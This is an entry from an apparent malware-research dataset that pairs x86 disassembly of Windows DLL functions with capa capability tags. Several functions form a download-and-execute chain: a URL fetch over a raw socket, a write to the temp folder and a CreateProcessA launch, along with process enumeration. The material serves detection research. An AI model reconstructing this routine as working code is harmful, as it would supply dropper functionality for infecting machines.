joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000ff60
Capabilities:
Check if file exists
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x828
mov eax, dword [0x10138e70]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor eax, eax
mov esi, ecx
push 0x206
push eax
mov word [ebp - 0x620], ax
lea eax, [ebp - 0x61e]
push eax
call fcn.1006ff30
add esp, 0xc
lea eax, [ebp - 0x620]
push 0
push 0x23
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push 0x1f4
lea eax, [ebp - 0x1fc]
mov dword [ebp - 0x210], 0x5c005c
push 0
push eax
mov dword [ebp - 0x20c], 0x6e0069
mov dword [ebp - 0x208], 0x2e0066
mov dword [ebp - 0x204], 0x610064
mov dword [ebp - 0x200], 0x74
call fcn.1006ff30
add esp, 0xc
xor eax, eax
mov word [ebp - 0x418], ax
push 0x206
push eax
lea eax, [ebp - 0x416]
push eax
call fcn.1006ff30
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x620]
add esp, 0xc
push eax
lea eax, [ebp - 0x418]
push eax
call edi
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x418]
push eax
push esi
call edi
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x100100b4
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x828], ax
lea eax, [ebp - 0x826]
push eax
call fcn.1006ff30
add esp, 0xc
lea eax, [ebp - 0x620]
push eax
lea eax, [ebp - 0x828]
push eax
call edi
push 0x100afc1c
lea eax, [ebp - 0x828]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea ecx, [ebp - 0x828]
call fcn.1000fc20
test eax, eax
je 0x100100b4
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1006f41a
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
pop edi
xor ecx, ebp
pop esi
call fcn.1006f41a
mov esp, ebp
pop ebp
ret
Function at 0x100103f0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe38
mov eax, dword [0x10138e70]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
test esi, esi
jne 0x1001041b
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1006f41a
mov esp, ebp
pop ebp
ret
cmp byte [esi], 0
je 0x1001040a
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Process32NextW]
push edi
jmp 0x10010430
push 0x400
lea eax, [ebp - 0x404]
push 0
push eax
call fcn.1006ff30
push 0x3b
push esi
call fcn.10073f40
add esp, 0x14
mov dword [ebp - 0xe34], eax
test eax, eax
je 0x1001052c
mov edi, eax
lea eax, [ebp - 0x404]
sub edi, esi
push edi
push esi
push eax
call fcn.1006f8e0
add esp, 0xc
cmp edi, 0x400
jae 0x10010559
push 0x3ff
lea eax, [ebp - 0x404]
mov byte [ebp + edi - 0x404], 0
push eax
push 0x400
lea eax, [ebp - 0xc04]
push eax
lea eax, [ebp - 0xe38]
push eax
call fcn.100743b3
push 0x228
lea eax, [ebp - 0xe2c]
mov dword [ebp - 0xe30], 0x22c
push 0
push eax
call fcn.1006ff30
add esp, 0x20
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x1001051f
lea eax, [ebp - 0xe30]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x10010518
lea esp, [esp]
lea eax, [ebp - 0xc04]
push eax
lea eax, [ebp - 0xe0c]
push eax
call fcn.1006eb63
add esp, 8
test eax, eax
je 0x1001053f
lea eax, [ebp - 0xe30]
push eax
push esi
call ebx
test eax, eax
jne 0x100104f0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 0xe34]
inc esi
jne 0x10010430
pop edi
pop ebx
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1006f41a
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop ebx
xor ecx, ebp
pop esi
call fcn.1006f41a
mov esp, ebp
pop ebp
ret
call fcn.1006d947
int3
Function at 0x10010560
Capabilities:
Check if file exists
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1009528b
mov eax, dword fs:[0]
push eax
sub esp, 0x188
mov eax, dword [0x10138e70]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
test ecx, ecx
je 0x1001077c
cmp byte [ecx + 4], 0
lea edi, [ecx + 4]
je 0x1001077c
cmp byte [ecx + 0x84], 0
lea esi, [ecx + 0x84]
je 0x1001077c
add ecx, 0x184
call fcn.100103f0
test al, al
jne 0x1001077c
mov dword [ebp - 0x11c], 0xf
mov dword [ebp - 0x120], 0
mov byte [ebp - 0x130], al
lea edx, [ebp - 0x130]
mov dword [ebp - 4], 0
mov ecx, esi
call fcn.10010ca0
cmp dword [ebp - 0x120], 0x400
mov esi, eax
jb 0x10010768
test esi, esi
je 0x10010768
push 0x103
lea eax, [ebp - 0x117]
mov byte [ebp - 0x118], 0
push 0
push eax
call fcn.1006ff30
add esp, 0xc
lea eax, [ebp - 0x118]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x10010757
push edi
lea eax, [ebp - 0x118]
push 0x104
push eax
call fcn.1006dd41
add esp, 0xc
lea eax, [ebp - 0x118]
push 0x100afc20
push eax
lea eax, [ebp - 0x134]
push eax
call fcn.1007412f
mov ecx, dword [ebp - 0x134]
add esp, 0xc
test ecx, ecx
je 0x100106ba
cmp dword [ebp - 0x11c], 0x10
lea eax, [ebp - 0x130]
push ecx
cmovae eax, dword [ebp - 0x130]
push esi
push 1
push eax
call fcn.10072dbe
push dword [ebp - 0x134]
call fcn.1007263f
add esp, 0x14
lea eax, [ebp - 0x144]
mov dword [ebp - 0x190], 0x44
push eax
lea eax, [ebp - 0x190]
mov dword [ebp - 0x18c], 0
push eax
push 0
push 0
push 0x200
push 0
push 0
push 0
lea eax, [ebp - 0x118]
mov dword [ebp - 0x188], 0x100af322
push eax
push 0
mov dword [ebp - 0x184], 0
mov dword [ebp - 0x164], 1
mov dword [ebp - 0x160], 5
mov dword [ebp - 0x15c], 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x10010757
push 0x1388
push dword [ebp - 0x144]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x140]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x144]
call esi
lea ecx, [ebp - 0x130]
xor esi, esi
call fcn.10006d30
mov eax, esi
jmp 0x1001077e
lea ecx, [ebp - 0x130]
mov esi, 1
call fcn.10006d30
mov eax, esi
jmp 0x1001077e
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1006f41a
mov esp, ebp
pop ebp
ret
Function at 0x10010ca0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Send http request
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4b4
mov eax, dword [0x10138e70]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x4ac], edx
push edi
test esi, esi
je 0x10010ef4
cmp byte [esi], 0
je 0x10010ef4
push 0x7f
lea eax, [ebp - 0x97]
mov byte [ebp - 0x98], 0
push 0
push eax
call fcn.1006ff30
add esp, 0xc
mov ebx, 0x50
push 0x100afc24
push esi
call fcn.10072370
mov edi, eax
add esp, 8
test edi, edi
jne 0x10010d0f
mov eax, esi
neg eax
cmp eax, 0x13
jg 0x10010ef4
mov eax, edi
sub eax, esi
push eax
push esi
lea eax, [ebp - 0x98]
push 0x80
push eax
call fcn.1006e5d1
lea eax, [ebp - 0x98]
add edi, 3
push str.http
push eax
call fcn.1006e4f5
add esp, 0x18
test eax, eax
jne 0x10010ef4
push 0x2f
push edi
call fcn.10073f40
mov esi, eax
add esp, 8
test esi, esi
je 0x10010ef4
push 0x80
lea eax, [ebp - 0x98]
push 0
push eax
call fcn.1006ff30
add esp, 0xc
lea eax, [ebp - 0x98]
sub esi, edi
push esi
push edi
push 0x80
push eax
call fcn.1006e5d1
lea eax, [ebp - 0x98]
push 0x3a
push eax
call fcn.10073f40
mov ecx, eax
mov byte [ebp - 0x18], 0
add esp, 0x18
mov word [ebp - 7], 0
mov byte [ebp - 5], 0
xorps xmm0, xmm0
movdqu xmmword [ebp - 0x17], xmm0
test ecx, ecx
je 0x10010ded
lea edx, [ebp - 0x98]
sub eax, edx
cmp eax, 0x80
jae 0x10010f07
mov byte [ebp + eax - 0x98], 0
lea eax, [ecx + 1]
push eax
lea eax, [ebp - 0x18]
push 0x14
push eax
call fcn.1006dcec
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
call fcn.1006da23
add esp, 4
mov ebx, eax
lea eax, [ebp - 0x98]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x10010ef4
mov ecx, eax
call fcn.100107f0
mov esi, eax
test esi, esi
je 0x10010ef4
push 6
push 1
push 2
call sub.WS2_32.dll_socket
push 4
mov edi, eax
mov dword [ebp - 0x4b4], 0x1388
lea eax, [ebp - 0x4b4]
push eax
push 0x1005
push 0xffff
push edi
call sub.WS2_32.dll_setsockopt
mov eax, 2
push ebx
mov word [ebp - 0x4a8], ax
call sub.WS2_32.dll_htons
push esi
mov word [ebp - 0x4a6], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x4a4], eax
lea eax, [ebp - 0x4a8]
push 0x10
push eax
push edi
call dword [sym.imp.WS2_32.dll_connect]
push 0
push 4
lea eax, [ebp - 0x4b0]
mov dword [ebp - 0x4b0], 0xf9a1
push eax
push edi
call dword [sym.imp.WS2_32.dll_send]
mov ebx, dword [sym.imp.WS2_32.dll_recv]
lea eax, [ebp - 0x498]
xor esi, esi
push esi
push 0x400
push eax
push edi
call ebx
test eax, eax
jle 0x10010edb
mov ecx, dword [ebp - 0x4ac]
add esi, eax
push eax
lea eax, [ebp - 0x498]
push eax
call fcn.10006760
push 0
push 0x400
lea eax, [ebp - 0x498]
push eax
push edi
call ebx
test eax, eax
jg 0x10010eb1
push edi
call sub.WS2_32.dll_closesocket
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1006f41a
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1006f41a
mov esp, ebp
pop ebp
ret
call fcn.1006d947
int3
Function at 0x10012180
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov ebx, edx
mov dword [ebp - 4], ecx
mov esi, dword [edi]
test esi, esi
je 0x100121df
mov dword [edi], 0
mov edx, 0x400000
push 0
lea eax, [ebp + 8]
mov dword [ebp + 8], 0
push eax
cmp esi, 0x400000
mov eax, esi
cmova eax, edx
push eax
push ebx
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp + 8]
add ebx, ecx
add dword [edi], ecx
sub esi, ecx
test eax, eax
je 0x100121e8
test ecx, ecx
je 0x100121df
mov ecx, dword [ebp - 4]
mov edx, 0x400000
test esi, esi
jne 0x100121a0
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10012200
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov ebx, edx
mov dword [ebp - 4], ecx
mov esi, dword [edi]
test esi, esi
je 0x1001225f
mov dword [edi], 0
mov edx, 0x400000
push 0
lea eax, [ebp + 8]
mov dword [ebp + 8], 0
push eax
cmp esi, 0x400000
mov eax, esi
cmova eax, edx
push eax
push ebx
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp + 8]
add ebx, ecx
add dword [edi], ecx
sub esi, ecx
test eax, eax
je 0x10012268
test ecx, ecx
je 0x1001225f
mov ecx, dword [ebp - 4]
mov edx, 0x400000
test esi, esi
jne 0x10012220
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10014d10
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
xor eax, eax
push ebx
push esi
push edi
jmp 0x10014d20
mov edx, eax
mov ecx, eax
and edx, 1
shr ecx, 1
dec edx
not edx
and edx, 0xedb88320
xor edx, ecx
mov ecx, edx
shr edx, 1
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
xor ecx, edx
mov edx, ecx
shr ecx, 1
and edx, 1
dec edx
not edx
and edx, 0xedb88320
xor edx, ecx
mov ecx, edx
shr edx, 1
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
xor ecx, edx
mov edx, ecx
shr ecx, 1
and edx, 1
dec edx
not edx
and edx, 0xedb88320
xor edx, ecx
mov ecx, edx
shr edx, 1
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
xor ecx, edx
mov edx, ecx
shr ecx, 1
and edx, 1
dec edx
not edx
and edx, 0xedb88320
xor edx, ecx
mov ecx, edx
shr edx, 1
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
xor ecx, edx
mov dword [eax*4 + 0x101421e0], ecx
inc eax
cmp eax, 0x100
jb 0x10014d20
cmp eax, 0x800
jae 0x10014df3
lea esp, [esp]
mov edx, dword [eax*4 + 0x10141de0]
movzx ecx, dl
shr edx, 8
xor edx, dword [ecx*4 + 0x101421e0]
mov dword [eax*4 + 0x101421e0], edx
inc eax
cmp eax, 0x800
jb 0x10014dd0
mov dword [0x10140cb0], 0x10015a40
mov dword [ebp - 4], 0x40000
pushfd
pop eax
mov edx, eax
xor eax, dword [ebp - 4]
push eax
popfd
pushfd
pop eax
xor eax, edx
push edx
popfd
and dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10014f10
mov dword [ebp - 8], 0x200000
pushfd
pop eax
mov edx, eax
xor eax, dword [ebp - 8]
push eax
popfd
pushfd
pop eax
xor eax, edx
push edx
popfd
and dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x10014f10
lea eax, [ebp - 0x20]
xor ecx, ecx
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x24]
push eax
lea edx, [ebp - 0x28]
call fcn.10015af0
add esp, 0xc
lea eax, [ebp - 0xc]
lea edx, [ebp - 0x18]
mov ecx, 1
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.10015af0
mov edi, dword [ebp - 0x18]
add esp, 0xc
mov esi, edi
xor ecx, ecx
shr esi, 8
mov eax, 0x1013a5d8
shr edi, 4
and esi, 0xff00f
and edi, 0xf00f
xor edx, edx
mov ebx, dword [ebp - 0x24]
cmp dword [eax - 8], ebx
jne 0x10014eaf
mov ebx, dword [ebp - 0x20]
cmp dword [eax - 4], ebx
mov ebx, dword [ebp - 0x1c]
jne 0x10014eaf
cmp dword [eax], ebx
je 0x10014ebe
add edx, 0xc
inc ecx
add eax, 0xc
cmp edx, 0x24
jb 0x10014e98
or ecx, 0xffffffff
sub ecx, 0
je 0x10014ef7
dec ecx
je 0x10014ee6
dec ecx
jne 0x10014f10
cmp esi, 6
jb 0x10014f10
jne 0x10014f06
cmp edi, 0xf
jb 0x10014f10
mov dword [0x10140cb0], 0x10015ae0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp esi, 5
jb 0x10014f10
jne 0x10014f06
cmp edi, 6
jb 0x10014f10
cmp edi, 0xa
jmp 0x10014f04
cmp esi, 6
jb 0x10014f10
jne 0x10014f06
cmp edi, 0x100c
je 0x10014f10
mov dword [0x10140cb0], 0x10015ae0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10016010
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0xc]
push edi
xor edi, edi
mov dword [ebp - 4], ecx
mov eax, dword [eax]
and eax, 7
cmp edx, 5
jae 0x10016030
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
push ebx
add edx, 0xfffffffc
or ebx, 0xffffffff
add edx, ecx
push esi
mov dword [ebp - 8], edx
lea ecx, [ecx]
lea esi, [edi + ecx]
cmp esi, edx
jae 0x10016059
mov cl, byte [esi]
and cl, 0xfe
cmp cl, 0xe8
je 0x10016056
inc esi
cmp esi, edx
jb 0x10016047
mov ecx, dword [ebp - 4]
mov edi, esi
sub edi, ecx
mov ecx, edi
sub ecx, ebx
cmp esi, edx
jae 0x10016161
cmp ecx, 3
jbe 0x10016072
xor eax, eax
jmp 0x100160b0
dec ecx
shl eax, cl
and eax, 7
je 0x100160b0
movzx ecx, byte [eax + 0x100af5d0]
mov edx, esi
sub edx, ecx
cmp byte [eax + 0x100af3c8], 0
mov cl, byte [edx + 4]
je 0x1001609a
test cl, cl
je 0x1001609a
cmp cl, 0xff
jne 0x100160ad
mov edx, dword [ebp - 8]
and eax, 3
mov ecx, dword [ebp - 4]
add eax, eax
mov ebx, edi
or eax, 1
inc edi
jmp 0x10016040
mov edx, dword [ebp - 8]
mov cl, byte [esi + 4]
mov ebx, edi
mov dword [ebp - 0x10], ebx
test cl, cl
je 0x100160d2
cmp cl, 0xff
je 0x100160d2
mov ecx, dword [ebp - 4]
and eax, 3
add eax, eax
or eax, 1
inc edi
jmp 0x10016040
movzx edx, cl
movzx ecx, byte [esi + 3]
shl edx, 8
or edx, ecx
movzx ecx, byte [esi + 2]
shl edx, 8
or edx, ecx
movzx ecx, byte [esi + 1]
shl edx, 8
or edx, ecx
sub edx, edi
lea ebx, [edx - 5]
test eax, eax
je 0x1001612e
movzx edx, byte [eax + 0x100af5d0]
mov ecx, 0x18
shl edx, 3
sub ecx, edx
mov dword [ebp - 0xc], edx
mov edx, ebx
shr edx, cl
test dl, dl
je 0x1001611a
cmp dl, 0xff
jne 0x1001612e
mov ecx, 0x20
mov edx, 1
sub ecx, dword [ebp - 0xc]
shl edx, cl
dec edx
xor edx, ebx
jmp 0x100160f0
mov edx, dword [ebp - 8]
mov ecx, ebx
shr ecx, 0x18
and cl, 1
mov byte [esi + 1], bl
dec cl
not cl
mov byte [esi + 4], cl
mov ecx, ebx
shr ecx, 0x10
mov byte [esi + 3], cl
mov ecx, ebx
mov ebx, dword [ebp - 0x10]
shr ecx, 8
add edi, 5
mov byte [esi + 2], cl
mov ecx, dword [ebp - 4]
jmp 0x10016040
pop esi
pop ebx
cmp ecx, 3
jbe 0x10016176
mov ecx, dword [ebp + 0xc]
xor eax, eax
mov dword [ecx], eax
mov eax, edi
pop edi
mov esp, ebp
pop ebp
ret
dec ecx
shl eax, cl
mov ecx, dword [ebp + 0xc]
and eax, 7
mov dword [ecx], eax
mov eax, edi
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x100181d0
Capabilities:
Access peb ldr_data
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x100953a8
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x10138e70]
xor eax, esp
mov dword [esp + 0x20], eax
push esi
mov eax, dword [0x10138e70]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword [ebp + 0x10]
sub esp, 0x18
mov ecx, esp
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.10006bc0
push dword [ebp + 0xc]
lea eax, [esp + 0x2c]
push dword [ebp + 8]
push eax
call fcn.100180f0
add esp, 0x24
mov dword [esp + 0x38], 0
cmp dword [eax + 0x14], 0x10
jb 0x1001824d
mov eax, dword [eax]
mov dword [esp + 0xc], eax
mov ecx, esi
lea eax, [esp + 0xc]
push eax
call fcn.1007012a
cmp dword [esp + 0x24], 0x10
mov dword [esi], vtable.std::runtime_error.0
jb 0x10018276
push dword [esp + 0x10]
call fcn.100070d0
add esp, 4
mov ecx, dword [ebp + 8]
mov eax, esi
mov dword [esi + 0xc], ecx
mov ecx, dword [ebp + 0xc]
mov dword [esi], vtable.std::_System_error.0
mov dword [esi + 0x10], ecx
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.1006f41a
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1001b270
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1009579f
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x10138e70]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x10], 0
cmp dword [ebp + 8], 0
je 0x1001b2c5
mov dword [esi], 0x100b0080
mov dword [esi + 0x70], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 1
mov eax, dword [esi]
mov eax, dword [eax + 4]
mov dword [esi + eax], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [esi]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ecx + esi - 4], eax
mov eax, dword [esi]
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov edi, dword [eax + 4]
add edi, esi
mov ecx, edi
call fcn.10018460
lea eax, [ebp + 8]
mov dword [edi + 0x3c], 0
lea ebx, [esi + 0x10]
mov ecx, edi
push eax
mov dword [edi + 0x38], ebx
call fcn.10018440
push eax
mov dword [ebp - 4], 2
call fcn.100202e0
mov byte [ebp - 4], 1
add esp, 4
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x14], eax
test ecx, ecx
je 0x1001b340
mov edx, dword [ecx]
call dword [edx + 8]
test eax, eax
je 0x1001b340
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
mov ecx, dword [ebp - 0x14]
push 0x20
mov eax, dword [ecx]
mov eax, dword [eax + 0x20]
call eax
cmp dword [edi + 0x38], 0
mov byte [edi + 0x40], al
jne 0x1001b365
mov eax, dword [edi + 0xc]
mov ecx, edi
or eax, 4
push 0
push eax
call fcn.10018380
mov dword [ebp - 4], 3
mov eax, dword [esi]
mov eax, dword [eax + 4]
mov dword [esi + eax], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [esi]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ecx + esi - 4], eax
mov ecx, ebx
call fcn.1001c470
lea eax, [ebx + 4]
mov dword [ebx], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov dword [ebx + 0xc], eax
lea ecx, [ebx + 8]
lea eax, [ebx + 0x14]
mov byte [ebx + 0x4c], 0
mov dword [ebx + 0x1c], eax
lea eax, [ebx + 0x18]
mov dword [ebx + 0x20], eax
lea eax, [ebx + 0x24]
mov dword [ebx + 0x2c], eax
lea eax, [ebx + 0x28]
mov dword [ebx + 0x30], eax
mov byte [ebx + 0x45], 0
mov dword [ebx + 0x10], ecx
mov dword [ecx], 0
mov eax, dword [ebx + 0x20]
mov dword [eax], 0
mov eax, dword [ebx + 0x30]
mov dword [eax], 0
mov eax, dword [ebx + 0xc]
mov dword [eax], 0
mov eax, dword [ebx + 0x1c]
mov dword [eax], 0
mov eax, dword [ebx + 0x2c]
mov dword [eax], 0
mov dword [ebx + 0x50], 0
mov eax, dword [0x101410fc]
mov dword [ebx + 0x48], eax
mov eax, esi
mov dword [ebx + 0x40], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x1001c9a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x100958b8
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x10138e70]
xor eax, esp
mov dword [esp + 0x20], eax
push ebx
push esi
push edi
mov eax, dword [0x10138e70]
xor eax, esp
push eax
lea eax, [esp + 0x38]
mov dword fs:[0], eax
mov ebx, ecx
cmp dword [ebx + 0x40], 0
je 0x1001caf4
cmp byte [ebx + 0x45], 0
je 0x1001caf4
mov eax, dword [ebx]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x1001ca00
xor al, al
jmp 0x1001caf6
mov ecx, 0xf
mov byte [esp + 0x18], 0
xorps xmm0, xmm0
mov dword [esp + 0x2c], ecx
cmp ecx, 0x10
movq qword [esp + 0x18], xmm0
lea eax, [esp + 0x18]
mov dword [esp + 0x28], 8
cmovae eax, dword [esp + 0x18]
mov byte [eax + 8], 0
mov dword [esp + 0x40], 0
jmp 0x1001ca40
cmp dword [esp + 0x2c], 0x10
lea eax, [esp + 0x14]
mov ecx, dword [ebx + 0x40]
lea edi, [esp + 0x18]
cmovae edi, dword [esp + 0x18]
lea esi, [esp + 0x18]
cmovae esi, dword [esp + 0x18]
push eax
mov eax, dword [esp + 0x2c]
mov edx, dword [ecx]
add eax, edi
push eax
push esi
lea eax, [ebx + 0x48]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x1001ca81
dec eax
je 0x1001ca85
sub eax, 2
je 0x1001cadb
xor bl, bl
jmp 0x1001cadd
mov byte [ebx + 0x45], 0
mov ecx, dword [esp + 0x2c]
lea eax, [esp + 0x18]
mov edx, dword [esp + 0x18]
cmp ecx, 0x10
mov esi, dword [esp + 0x14]
cmovae eax, edx
sub esi, eax
je 0x1001cabc
push dword [ebx + 0x50]
cmp ecx, 0x10
lea eax, [esp + 0x1c]
push esi
cmovae eax, edx
push 1
push eax
call fcn.10072dbe
add esp, 0x10
cmp esi, eax
jne 0x1001ca7d
cmp byte [ebx + 0x45], 0
je 0x1001cadb
test esi, esi
jne 0x1001ca40
push esi
push 8
lea ecx, [esp + 0x20]
call fcn.100056d0
jmp 0x1001ca40
mov bl, 1
cmp dword [esp + 0x2c], 0x10
jb 0x1001caf0
push dword [esp + 0x18]
call fcn.100070d0
add esp, 4
mov al, bl
jmp 0x1001caf6
mov al, 1
mov ecx, dword [esp + 0x38]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.1006f41a
mov esp, ebp
pop ebp
ret
Function at 0x10023de0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
mov eax, dword [0x10138e70]
xor eax, ebp
mov dword [ebp - 4], eax
push pe_nt_image_headers32
lea eax, [ebp - 0x114]
mov dword [ebp - 0x118], 0x114
push 0
push eax
call fcn.1006ff30
add esp, 0xc
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x10023e4d
mov eax, dword [ebp - 0x114]
cmp eax, 5
jae 0x10023e3d
cmp eax, 4
jne 0x10023e4d
cmp dword [ebp - 0x110], 0x5a
jb 0x10023e4d
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1006f41a
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
call fcn.1006f41a
mov esp, ebp
pop ebp
ret